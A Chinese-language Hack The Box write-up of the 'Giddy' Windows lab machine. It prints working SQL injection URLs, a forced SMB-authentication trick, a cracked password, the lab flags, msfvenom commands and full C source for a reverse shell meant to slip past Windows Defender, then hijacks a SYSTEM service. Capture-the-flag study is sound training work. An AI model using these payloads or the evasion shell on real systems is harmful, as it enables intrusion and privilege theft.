[Hack The Box] Giddy – writeup

HTB: Giddy


靶機 Giddy
作業系統 Windows Server 2016 (10.0.14393)
難度 Medium
Target IP 10.129.96.140
Kali IP 10.10.15.48
user.txt a64560bc9ac24da8c86cbc1df7ef9a8e
root.txt 16205cab6f4f5888dea9b38c85310c39
攻擊鏈一句話:
Web 商店 /mvc 存在 MSSQL error-based SQLi → 用 xp_dirtree 堆疊查詢強迫靶機對 Kali 發 SMB 認證,Responder 接到 Stacy 的 Net-NTLMv2 → hashcat 爆出明文 → WinRM 立足拿 user → 發現 Ubiquiti UniFi Video 3.7.3 服務執行檔劫持(服務以 SYSTEM 啟停時執行不存在的 taskkill.exe、目錄可寫)→ 自寫 C reverse shell 繞過 Defender → Stop-Service 觸發 → SYSTEM。

1. 偵察 Recon

1.1 全埠掃描

(root㉿kali)-[~/Desktop/HTB/Giddy]# nmap -p- –min-rate 10000 -oN allports.nmap 10.129.96.140

01 — 全埠掃描:80 / 443 / 3389 / 5985 開放

1.2 服務版本掃描

(root㉿kali)-[~/Desktop/HTB/Giddy]# nmap -p 80,443,3389,5985 -sCV -oN services.nmap 10.129.96.140

02 — 服務版本:IIS 10、RDP、WinRM,443 憑證 CN=PowerShellWebAccessTestWebSite
Port 服務 線索
80 / 443 IIS 10.0 無認證攻擊面入口
443 ssl/http 憑證 CN=PowerShellWebAccessTestWebSite → PSWA 線索
3389 RDP 需憑證
5985 WinRM / wsman 需憑證(之後立足用)
  • RDP、WinRM 都要帳密,手上沒憑證 → 唯一入口是 Web(80/443)。
  • 443 憑證名稱 PowerShellWebAccessTestWebSite 暗示站上有 PowerShell Web Access。

2. Web 列舉

首頁只有一張狗探出車窗的圖,無可互動內容。

03 — 首頁(狗探出車窗)

2.1 目錄爆破

(root㉿kali)-[~/Desktop/HTB/Giddy]# gobuster dir -u http://10.129.96.140 -w /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt -x aspx,asp,txt,html -t 40

04 — gobuster 找到 /remote(PSWA 登入)與 /mvc(商店)
  • /remote → PowerShell Web Access 登入頁,需帳密,先擱置。
  • /mvc → ASP.NET 腳踏車用品商店,是真正的無認證攻擊面。
📌 先用 common.txt 只找到 /remote(死路),換成較大的 directory-list-2.3-small.txt 才挖出 /mvc。字典覆蓋率決定成敗。
💡 heuristic:先 small 字典拿入口,卡住才升 medium —— 能用小字典解決就別燒大字典的時間。

05 — /mvc 商店:分類連結 + Search 頁(兩個注入面)

3. 立足 Foothold — SQL Injection

3.1 確認 SQLi(單引號報錯)

點進分類得到 Product.aspx?ProductSubCategoryId=19,在參數尾加單引號破壞語法:

URL http://10.129.96.140/mvc/Product.aspx?ProductSubCategoryId=19′

06 — Unclosed quotation mark:SqlException 證實 MSSQL error-based SQLi
  • Unclosed quotation mark after the character string ” → 輸入被當 SQL 執行。
  • System.Data.SqlClient.SqlException → 後端是 MSSQL(才有 xp_dirtree)。
  • 報錯是 =19′ 而非字串情境 → 參數為數字情境,可直接接 AND / 堆疊 ;。
  • Stack trace 洩漏開發者路徑 C:\Users\jnogueira\Downloads\owasp10\… → OWASP Top10 注入示範 app。

3.2 手動列舉(error-based,考場合法、不用 sqlmap)

用型別轉換錯誤把查詢結果擠進錯誤訊息。先看目前 DB 身分:

URL http://10.129.96.140/mvc/Product.aspx?ProductSubCategoryId=19 AND 1=convert(int,(SELECT SYSTEM_USER))–

07 — Conversion failed … ‘giddy\stacy’:MSSQL 服務以 Windows 帳號 giddy\stacy 執行

再看是否 sysadmin(數字結果需先 cast 成字串接文字,URL 裡 + 要編碼成 %2B):

URL http://10.129.96.140/mvc/Product.aspx?ProductSubCategoryId=19 AND 1=convert(int,(SELECT ‘sysadmin=’%2Bcast(is_srvrolemember(‘sysadmin’) as varchar)))–

08 — ‘sysadmin=0’:非 sysadmin → 排除 xp_cmdshell RCE 路線
💡 heuristic:error-based 要洩漏數字結果,先 cast as varchar 再接字串;URL 裡的 + 一律 %2B。
  • SYSTEM_USER = giddy\stacy + sysadmin=0 → 無法開 xp_cmdshell(需 sysadmin)。
  • 故唯一可行的是用 xp_dirtree 偷服務帳號 Stacy 的認證。純枚舉推導出和攻擊相同的結論。

3.3 xp_dirtree 強迫 SMB 認證 → 抓 Net-NTLMv2

Kali 開 Responder 監聽:

(root㉿kali)-[~/Desktop/HTB/Giddy]# sudo responder -I tun0

瀏覽器觸發堆疊查詢,叫 MSSQL 去存取 Kali 的 UNC 路徑:

URL http://10.129.96.140/mvc/Product.aspx?ProductSubCategoryId=19;%20EXEC%20master..xp_dirtree%20%22\\10.10.15.48\test%22;%20–
# 可讀版: …ProductSubCategoryId=19; EXEC master..xp_dirtree “\\10.10.15.48\test”; —

09 — Responder 接到 GIDDY\Stacy 的 NTLMv2-SSP Hash
💡 heuristic:有 MSSQL 注入但庫裡沒料 → 想 xp_dirtree 偷認證,不要只想著 dump data。服務帳號比任何資料列值錢。

3.4 hashcat 離線爆破

把 Responder 抓到的整行 hash 存成 stacy.hash,用模式 5600(NetNTLMv2)爆破:

(root㉿kali)-[~/Desktop/HTB/Giddy]# hashcat -m 5600 stacy.hash /usr/share/wordlists/rockyou.txt

10 — 爆出明文密碼 xNnWo6272k7x
✅ 憑證到手: GIDDY\stacy : xNnWo6272k7x
💡 heuristic:NTLMv2 不能 pass-the-hash,只能離線爆明文;NTLM(無 v2)才能直接 PtH。

3.5 WinRM 立足

(root㉿kali)-[~/Desktop/HTB/Giddy]# evil-winrm -i 10.129.96.140 -u stacy -p ‘xNnWo6272k7x’
*Evil-WinRM* PS C:\> type C:\Users\Stacy\Desktop\user.txt

11 — evil-winrm 立足:whoami /priv /groups + user.txt
user.txt → a64560bc9ac24da8c86cbc1df7ef9a8e

4. 後滲透列舉

4.1 權限盤點

*Evil-WinRM* PS C:\> whoami /priv
*Evil-WinRM* PS C:\> whoami /groups
  • 只有 SeChangeNotifyPrivilege + SeIncreaseWorkingSetPrivilege(皆預設)→ 無 SeImpersonatePrivilege。
  • 一眼排除整類 Potato(JuicyPotato / PrintSpoofer)提權。
  • 屬 BUILTIN\Remote Management Users(故 WinRM 可登)、非本機 admin、Medium 完整性。
💡 heuristic:Windows 立足先 whoami /priv:有 SeImpersonate → Potato;沒有 → 轉去找有漏洞的第三方軟體 / 服務。

4.2 列已裝軟體(登錄檔,比眼睛掃目錄可靠)

*Evil-WinRM* PS C:\> Get-ItemProperty ‘HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\*’,’HKLM:\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Uninstall\*’ -EA SilentlyContinue | Select DisplayName,DisplayVersion,InstallLocation | ft -Auto

12 — 命中 Ubiquiti UniFi Video 3.7.3 @ C:\ProgramData\unifi-video
💡 heuristic:找可提權軟體,問「系統」(登錄檔 Uninstall 鍵 / 服務清單)比用眼睛掃目錄可靠 —— 眼睛會漏,登錄檔不會,而且直接給你版本號可查 CVE。

4.3 確認劫持前提

*Evil-WinRM* PS C:\> Get-ChildItem C:\ProgramData\unifi-video -Force
*Evil-WinRM* PS C:\> echo “test” > C:\ProgramData\unifi-video\test.txt

13 — unifi-video 目錄:無 taskkill.exe(劫持槽空)、確認可寫
  • 目錄內無 taskkill.exe → 劫持槽是空的。
  • Stacy(BUILTIN\Users)對該目錄可寫 → 提權前提成立。
📌 C:\ProgramData 是隱藏目錄,dir 要加 -Force(或 cmd 的 dir /a)才看得到。很多提權線索都是隱藏的。

5. 提權 Privesc — UniFi Video 服務劫持

5.1 漏洞原理

  • UniFiVideoService 以 LocalSystem 執行。
  • 服務啟動 / 停止時會去執行 C:\ProgramData\unifi-video\taskkill.exe —— 但此檔預設不存在。
  • 該目錄一般使用者可寫 + Stacy 有權停此服務(PSReadline 歷史顯示她跑過 Stop-Service)。
  • → 丟惡意 taskkill.exe → 停服務 → 以 SYSTEM 執行。

5.2 做 payload(msfvenom 被 Defender 擋 → 自寫 C shell)

先做陽春 msfvenom 反向 shell:

(root㉿kali)-[~/Desktop/HTB/Giddy]# msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.10.15.48 LPORT=443 -f exe -o taskkill.exe

傳上去後手動試跑,Defender 在執行階段以特徵碼判毒攔下(檔案寫入時不攔,執行時才攔):

14 — msfvenom payload 執行被 Defender 判毒(contains a virus)

解法不是加密 msf 產物,而是自寫一支無 msf 特徵碼的通用 WinSock reverse shell(rev.c),以本機 cmd.exe 接 socket handles。IP/port 已填實際值:

#include <winsock2.h>
#include <windows.h>
int main(void) {
WSADATA wsa;
SOCKET s;
struct sockaddr_in addr;
STARTUPINFO si;
PROCESS_INFORMATION pi;
char cmd[] = “cmd.exe”;

WSAStartup(MAKEWORD(2, 2), &wsa);
s = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP, NULL, 0, 0);
addr.sin_family = AF_INET;
addr.sin_port = htons(443);
addr.sin_addr.s_addr = inet_addr(“10.10.15.48”);
connect(s, (struct sockaddr *)&addr, sizeof(addr));
ZeroMemory(&si, sizeof(si));
si.cb = sizeof(si);
si.dwFlags = STARTF_USESTDHANDLES;
si.hStdInput = si.hStdOutput = si.hStdError = (HANDLE)s;
CreateProcess(NULL, cmd, NULL, NULL, TRUE, 0, NULL, NULL, &si, &pi);
WaitForSingleObject(pi.hProcess, INFINITE);
WSACleanup();
return 0;
}

交叉編譯成 Windows x64 exe:

(root㉿kali)-[~/Desktop/HTB/Giddy]# x86_64-w64-mingw32-gcc rev.c -o taskkill.exe -lws2_32

15 — mingw 交叉編譯出 taskkill.exe
  • WSASocket(…,0) 用非 overlapped flag,socket handle 才能直接當 CreateProcess 的 std handle。
  • STARTF_USESTDHANDLES + 三個 std handle 指向 socket + bInheritHandles=TRUE → cmd.exe 的輸入輸出全接到 socket。
  • 自寫程式沒有 msfvenom 的固定 shellcode 位元組樣式,故 Defender 特徵掃描認不出。
💡 heuristic:msfvenom 被 AV 特徵碼擋,別急著加密它 —— 自寫一支功能單純的乾淨 exe(通用 reverse shell / 只呼叫 net 的建帳號 stub)最省事,無 msf 特徵。

5.3 傳檔與驗證(繞過 CLM / AppLocker)

Kali 開 HTTP 服務,靶機用 iwr 下載到 AppLocker 許可且可寫的 \windows\tasks\:

(root㉿kali)-[~/Desktop/HTB/Giddy]# python3 -m http.server 80
*Evil-WinRM* PS C:\> iwr -Uri http://10.10.15.48/taskkill.exe -OutFile C:\windows\tasks\taskkill.exe

開監聽並從測試台手動試跑,確認自寫 shell 過 Defender(回連到 Stacy shell):

(root㉿kali)-[~/Desktop/HTB/Giddy]# rlwrap nc -lvnp 443
*Evil-WinRM* PS C:\> C:\windows\tasks\taskkill.exe

16 — 自寫 shell 過 Defender,nc 接到 Stacy shell(測試台驗證)
📌 PowerShell 處於 ConstrainedLanguage 模式(AppLocker/WDAC 強制中),所以 evil-winrm 的 upload、certutil 都會掛;改用 cmdlet iwr -OutFile 下載最穩。

5.4 部署 + 觸發 → SYSTEM

關掉測試 shell、重開乾淨 nc,把 payload 複製到劫持位置,停服務觸發:

*Evil-WinRM* PS C:\> copy C:\windows\tasks\taskkill.exe C:\ProgramData\unifi-video\taskkill.exe
*Evil-WinRM* PS C:\> Stop-Service -Name UniFiVideoService -Force

17 — 服務停止觸發 taskkill.exe,nc 接到 nt authority\system + root.txt
✅ whoami → nt authority\system
root.txt → 16205cab6f4f5888dea9b38c85310c39
💡 heuristic:可寫目錄 + 會執行不存在檔案的 SYSTEM 服務 = 執行檔劫持提權;丟 payload → 停 / 啟服務 → SYSTEM。優先找「服務會呼叫但不存在的輔助 exe」(空槽、非破壞),沒有空槽才換服務本體(要備份還原、且你的碼當服務本體會踩 SCM 逾時)。

6. 失誤與教訓(Pitfalls & Lessons)

📌 關鍵觀念 — 測試台 vs 發射井: \windows\tasks\(可見、可互動、AppLocker 許可)用來驗 payload;unifi-video\taskkill.exe(SYSTEM、背景、靜默)才是正式觸發。在看得到回饋的地方測,在致命的地方才發射。